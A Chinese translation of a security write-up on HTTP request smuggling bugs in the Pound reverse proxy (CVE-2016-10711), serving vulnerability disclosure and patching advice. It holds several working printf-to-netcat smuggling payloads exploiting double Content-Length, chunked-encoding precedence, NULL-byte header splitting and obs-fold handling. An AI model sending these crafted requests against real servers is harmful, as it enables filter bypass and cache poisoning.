本文为2018年十大网络黑客技术题名文章,欢迎读者来读

Pound?

Pound是一个开源HTTP负载均衡器,通常用作SSL/TLS终端(在http后端处理https与证书)。 在过去,这个工具被用于为网站添加SSL。

如果访问官方网站,你会看到pound被描述为负载均衡器、反向代理、SSL封装器以及删除工具:

HTTP/HTTPS处理程序:Pound会进行验证请求操作并接受格式正确的请求。

项目活动一直被拖延进行,2018年初发布的最后一个CVE引发了各界对某些项目的关注。Debian项目删除了软件包,不仅仅是因为其被爆出可用的CVE。新版本的openSSL的兼容性和缺乏项目活动对公司决策起到了关键的作用。

固定版本的Pound

如果我们现在检查此软件包的Debian页面状态,我们会发现该软件包已被删除,并且我们无法在任何开发存储库中找到它。这里存在三个安全隐患:版本过时、忽略了安全问题的稳定性并且是jessie(oldstable)其中之一。在我自己的测试过程中,我发现我无法在jessie上安装它,进一步测试后我发现了其内部存在的安全问题。

如果用户使用了Suse包,则可以使用安全更新操作。

在官方项目介绍页面上,officiel稳定版现在是Pound-2.8并包含修复程序。 第一个固定版本是2.8a,并且有很长一段时间只有这个实验版本可用。

版本2.8的源代码差异不是很大:(fossies1 | fossies2 | fossies3)
。 有趣的是,这些版本包含了HTTP Smuggling问题,包括功能的删除(动态扩展)和安全语法过滤器等。

CVE-2016-10711

官方描述如下:

在2.8a之前的Apsis Pound允许通过自行设计的消息头进行request smuggling

事实上,这里大多数的问题都是HTTP解析器常见的错误(还有一些罕见的问题,比如NULL字符处理)。在过去的几年里,我在许多项目中报告了类似的问题,所以研究这些攻击是值得的。

正如后面所解释的那样,作为SSl工具的Pound并不是smuggling攻击中最关键的部分。 在反向代理缓存或常见HTTP服务器上执行此类攻击对攻击者来说更有价值。 但是整个“HTTPsmuggling攻击”范例均是基于链接的多语法错误,所以每个用户均可以检测出非正常的消息头内容。

1-支持双倍长度内容:

任何带有2个Content-Length标头的请求都必须被拒绝。

RFC7230 section 3.3.2

如果收到的消息具有多个Content-Length头,其字段值包含相同的十进制值,或者单个Content-Length头,其字段值包含相同十进制值的列表(例如,“Content-Length” :42,42),表示消息处理器生成重复的Content-Length头字段,此时接收者必须拒绝该消息并设置其为无效或用单个有效Content-Length替换重复的字段值。在确定邮件正文长度之前包含该十进制值的字段。

RFC7230 section 3.3.3

如果在没有Transfer-Encoding的情况下收到消息并且Content-Length头字段具有不同字段值,则消息无效且接收者必须将其处理为错误。 如果这是请求消息,则服务器必须以400(错误请求)状态代码响应,然后关闭连接。

在Pound中,如果你发送如下请求:

Content-Length: 0
Content-Length: 147

返回结果:Size of Body = 0

如果你发送:

Content-Length: 147
Content-Length: 0

返回结果:Size of Body = 147

官方结果会将其处理为错误。 如果HTTP通信中的前一个actor包含相同的情况,那么用户将面临一个smuggling攻击隐患。
我们将在下面看到关于HTTP漏洞的一些示例,其目标通常大小不同,一个分析者发现3个请求,另一个认为只有2个。

2)Chunks会根据消息长度进行优先考虑

这里我们再次讨论RFC7230第3.3.3节,但另一点:

如果收到包含Transfer-EncodingContent-Length字段的消息,则Transfer-Encoding将覆盖整个Content-Length。 这样的消息表示了执行请求smuggling响应拆分操作,并且应该作为错误进行处理。

因此我们这里的设置是拒绝该消息(现在大多数服务器都是这种情况)。倘若不进行拒绝操作,则分块传输在任何Content-Length头上都具有优先级。

使用Pound是令第一个消息头具有读取优先级。

我们来看一个例子吧。 在这里,我让Pound Server127.0.0.1上侦听HTTP端口8080。 (所以没有HTTPS支持,但相信我在HTTPS模式下所有的攻击都是一样的,你甚至可以使用openssl_client而不是netcat来输出一些printf输出)。 在Pound中,任何端口均可以与HTTP服务器(后端)进行通信。

  • 我使用printf来反馈HTTP查询结果。由于我想要对所有字符进行完全控制,所以我没有使用curl或wget。

  • 我将所有查询链接在一个单独的字符串中,然而我没有等待每个查询之间的响应,这称为HTTP pipeline,然而没有pipelining服务器上的支持(这里是Pound)我什么也做不了。

  • 我将此字符串(HTTP查询)发送到netcat(命令nc),这是一个非常低级别的命令,它可以控制目标IP和端口的tcp/ip连接。

  • 这与使用浏览器或curl发送HTTP查询相同,不过我可以对消息头进行完全控制。

  • 攻击者的目标是发送不同数量查询的消息,这是技术目标。 这个功能是绕过过滤器或领缓存失效。像XSS的alert()功能,如果你的有效响应数量出现错误,那么这里就不仅仅是功能问题,而是安全隐患。

  • 如果在测试环境中进行使用,那么我们应该跟踪Pound在后端发送的请求,例如使用Wireshark。 管道的每个请求将单独发送到后端,而不是发送到管道中。

# 2 responses instead of 3
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-length:56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

有3个查询能进行有效的解析:

第一个:

GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
**Content-length:56[CRLF]** (ignored and usually not send back to the backend)
Transfer-Encoding: chunked[CRLF]
Dummy:Header[CRLF]
[CRLF]
0[CRLF]  (end of chunks -> end of message)
[CRLF]

第二个:

GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]

第三个:

GET /tests HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]

对于无效的解析操作(这里是Pound),只有2个查询,第一个是:

GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
Content-length:56[CRLF]
**Transfer-Encoding: chunked[CRLF]** (ignored and removed, hopefully)
Dummy:Header[CRLF]
[CRLF]
0[CRLF]  (start of 56 bytes of body)
[CRLF]
GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF] (end of 56 bytes of body, not parsed)

传输失败

RFC7230 section 3.3.3

如果请求中存在Transfer-Encoding头字段并且分块传输编码不是最终编码,那么我们无法地确定消息体长度; 服务器必须使用400(错误请求)状态代码进行响应,然后关闭连接。

使用Transfer-Encoding:chunked, zorg可以使我们没有错误400代码。

标头中为NULL - >concatenation

这是一个原始并且罕见的问题。

像大多数HTTP服务器一样,Pound用C语言编写,C字符串以NULL字符(\ 0)结尾。 在HTTP请求中查找NULL字符会出现错误,但有时解析器不会检测到NULL字符,因为解析的行被错误地解释为C字符串。

使用Pound,一旦在消息头中遇到NULL字符,解析器将继续使用下一行的消息头。

# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

这是使用Double Content-length Support的具有另一个处理方法。 如果代理链中的前一个请求不支持double Content-Length,但可以支持NULL字符,则可以使用此方法。

# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 51\r\n'\
'Content-length: 0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
# 3 responses instead of 2 (2nd query is unmasked by pound)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

如果你复现到这里,你可以比较最后两个例子。 在第一个例子中,我们进行了一个恶意的分块传输,在最后一个例子中我们使用ops-fold语法。 使用wireshark来比较行为和传输到后端的一些消息语法。

# chunk mode not applied
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked,zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080
# chunk mode applied, and '\r\n zorg\r\n' ops-fold transmitted
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
' zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

5)传输问题

这种异常的ops-fold语法传输可能带来安全隐患,之后它在版本2.8中被删除。 通常,支持ops-fold的反向代理不会进行语法传输(将所有信息都体现在一行数据上)。

以下是与之类似的传输问题(遗憾的是这些漏洞没有被修复):

printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ '0000000000000000000000000000042\r\n'\ '\r\n'\ 'GET /tmp/ HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-Encoding: chunked\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080

这并不是无效的查询。 第一个块大小是六进制42,所以它是66个字节。 第二个块是块结束标记,最后两行是0 \ r \ n \ r \ nGET / tmp /查询不存在,第一个块中没有对它进行解释。

但如果使用wireshark,我们将检测到此消息按原样传输,0000000000000000000000000000042未重新更新为42042。麻烦的是,对于某些后端(块大小属性截断问题),此语法有时会出现问题,比如将0000000000000000000000000000042读取为00000000000000000,并错误地将其检测为块结束标记,然后错误的发现GET / tmp /查询。

当然这里的安全问题是出现在后端,而不是Pound。 其他一些传输问题已得到修复,例如下列语法:

GET /url?foo=[SOMETHING]HTTP/0.9 HTTP/1.1\r\n or GET /url?foo=[SOMETHING]Host:example.com, HTTP/1.1\r\n

使用[SOMETHING] = BACKSPACECRBELLFORM FEEDTAB

安全性

错误的HTTP语法解析是一个安全隐患,主要问题是HTTP请求网络中的任何危险HTTP请求都会成为攻击源头,之前的请求会成为受害方。

遭受Request拆分的请求会错误地读取无效的内容并从中提取查询结果。在这之前并没有任何请求可以过滤此查询。

这就是为什么RFC对于消息大小的语法解析有最低的要求。

在安装过程中,Pound将成为SSL终端,通常是链中的第一个服务器端请求。

在这个位置,请求拆分攻击很难被利用。也许它可能被用来攻击客户端的转发代理,但它不能用于攻击后端。

_____________________________              _________________________________
|      Client Side          |              |     Server Side               |
Browser ---> Forward proxy ------Internet---> Pound ---> Varnish ---> Nginx
                    NAIL? <================== HAMMER?
                                              NAIL? <==== HAMMER?

其他出现在Pound前面的HTTPS负载均衡器会更具危险,因为Pound可以用来向这些代理发送一些额外的响应(WAF?)。

从攻击者的角度来看,最有效的攻击点是传输问题,其中的消息头由Pound传输到后端。 然而在后端我们经常会遇到一些问题,所以向后端发送错误的查询并不是明智之举。

这里存在两个主要的漏洞,双内容长度和不考虑分块优先级,这些问题在后端比在前端更危险。 在我看来,这减少了对这些问题的利用的影响。 然而由于代理没有进行任何拆分操作,就只是转发了这些危险的代码,从而导致了这些恶意行为的产生。

如何使用Pound?

首先你可以使用Pound 2.8, 或带有补丁的2.7.x。

如果用户的发行版上没有固定版本,那么我们可以尝试编译Pound 2.8。 我在jessie上编写了几个Pound的汇编,并且难度不大 (configure/make/make install)。

参考链接

本文为翻译稿件,翻译自:https://regilero.github.io/security/english/2018/07/03/security_pound_http_smuggling/

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖